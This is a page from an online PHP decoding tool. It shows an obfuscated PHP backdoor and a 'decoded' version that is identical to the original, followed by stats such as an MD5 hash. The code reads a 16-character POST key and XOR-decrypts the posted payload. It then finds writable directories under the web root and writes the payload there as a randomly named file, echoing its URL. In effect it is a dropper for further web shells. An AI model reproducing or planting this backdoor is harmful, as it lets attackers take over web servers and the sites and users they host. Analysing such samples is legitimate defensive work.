Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php foreach($_POST as $BHgNHTjVbU => $gScyNMav){$OXJkqAe = strlen($BHgNHTjVbU);if ($OXJk..
Decoded Output download
<?php foreach($_POST as $BHgNHTjVbU => $gScyNMav){$OXJkqAe = strlen($BHgNHTjVbU);if ($OXJkqAe == 16){$gScyNMav = $yUgYQlb($CtDoVztaC($XJdaJPO($gScyNMav)));$BHgNHTjVbU = array_slice($yUgYQlb(str_repeat($BHgNHTjVbU, (count($gScyNMav)/16)+1)), 0, count($gScyNMav));function MYkXBSRpCP($ruoCxI, $wswbzc, $BHgNHTjVbU){$jJHxm = "fb4d5a16-7daa-49a8-bd66-7bde584f2425";return $ruoCxI ^ $jJHxm[$wswbzc % strlen($jJHxm)] ^ $BHgNHTjVbU;}$gScyNMav = implode("", array_map("MYkXBSRpCP", array_values($gScyNMav), array_keys($gScyNMav), array_values($BHgNHTjVbU)));$gScyNMav = @$MrSPD($gScyNMav);if (@is_array($gScyNMav)){$HIoqmdyQBl = array_keys($gScyNMav);$gScyNMav = $gScyNMav[$HIoqmdyQBl[0]];if ($gScyNMav === $HIoqmdyQBl[0]){echo @$MskLvDocH(Array($vYjXPZSad => @$RpdWxirog(), ));exit();}else {function YQMee($ztWaFdCnCbir){static $QjAUg = array();$AKYXyjeaX = glob($ztWaFdCnCbir . '/*', GLOB_ONLYDIR);if (count($AKYXyjeaX) > 0) {foreach ($AKYXyjeaX as $ztWaFdCnCb) {if (@$iFTcmToetI($ztWaFdCnCb)) {$QjAUg[] = $ztWaFdCnCb;}}}foreach ($AKYXyjeaX as $ztWaFdCnCbir) YQMee($ztWaFdCnCbir);return $QjAUg;}$txPmcDIpK = $_SERVER[$ppQsShr];$AKYXyjeaX = YQMee($txPmcDIpK);$HIoqmdyQBl = array_rand($AKYXyjeaX);$klRgjhMmxD = $AKYXyjeaX[$HIoqmdyQBl] . "/" . substr(md5(time()), 0, 8) . $dTDFWdMH;@$WnQgSphelv($klRgjhMmxD, $gScyNMav);echo $Itselec . $_SERVER[$HkjWA] . substr($klRgjhMmxD, strlen($txPmcDIpK));die();}}}}
?>
Did this file decode correctly?
Original Code
<?php foreach($_POST as $BHgNHTjVbU => $gScyNMav){$OXJkqAe = strlen($BHgNHTjVbU);if ($OXJkqAe == 16){$gScyNMav = $yUgYQlb($CtDoVztaC($XJdaJPO($gScyNMav)));$BHgNHTjVbU = array_slice($yUgYQlb(str_repeat($BHgNHTjVbU, (count($gScyNMav)/16)+1)), 0, count($gScyNMav));function MYkXBSRpCP($ruoCxI, $wswbzc, $BHgNHTjVbU){$jJHxm = "fb4d5a16-7daa-49a8-bd66-7bde584f2425";return $ruoCxI ^ $jJHxm[$wswbzc % strlen($jJHxm)] ^ $BHgNHTjVbU;}$gScyNMav = implode("", array_map("MYkXBSRpCP", array_values($gScyNMav), array_keys($gScyNMav), array_values($BHgNHTjVbU)));$gScyNMav = @$MrSPD($gScyNMav);if (@is_array($gScyNMav)){$HIoqmdyQBl = array_keys($gScyNMav);$gScyNMav = $gScyNMav[$HIoqmdyQBl[0]];if ($gScyNMav === $HIoqmdyQBl[0]){echo @$MskLvDocH(Array($vYjXPZSad => @$RpdWxirog(), ));exit();}else {function YQMee($ztWaFdCnCbir){static $QjAUg = array();$AKYXyjeaX = glob($ztWaFdCnCbir . '/*', GLOB_ONLYDIR);if (count($AKYXyjeaX) > 0) {foreach ($AKYXyjeaX as $ztWaFdCnCb) {if (@$iFTcmToetI($ztWaFdCnCb)) {$QjAUg[] = $ztWaFdCnCb;}}}foreach ($AKYXyjeaX as $ztWaFdCnCbir) YQMee($ztWaFdCnCbir);return $QjAUg;}$txPmcDIpK = $_SERVER[$ppQsShr];$AKYXyjeaX = YQMee($txPmcDIpK);$HIoqmdyQBl = array_rand($AKYXyjeaX);$klRgjhMmxD = $AKYXyjeaX[$HIoqmdyQBl] . "/" . substr(md5(time()), 0, 8) . $dTDFWdMH;@$WnQgSphelv($klRgjhMmxD, $gScyNMav);echo $Itselec . $_SERVER[$HkjWA] . substr($klRgjhMmxD, strlen($txPmcDIpK));die();}}}}
?>
Function Calls
None |
Stats
MD5 | ed37e09dc2260cb6e9ec75ad9be7e0ea |
Eval Count | 0 |
Decode Time | 40 ms |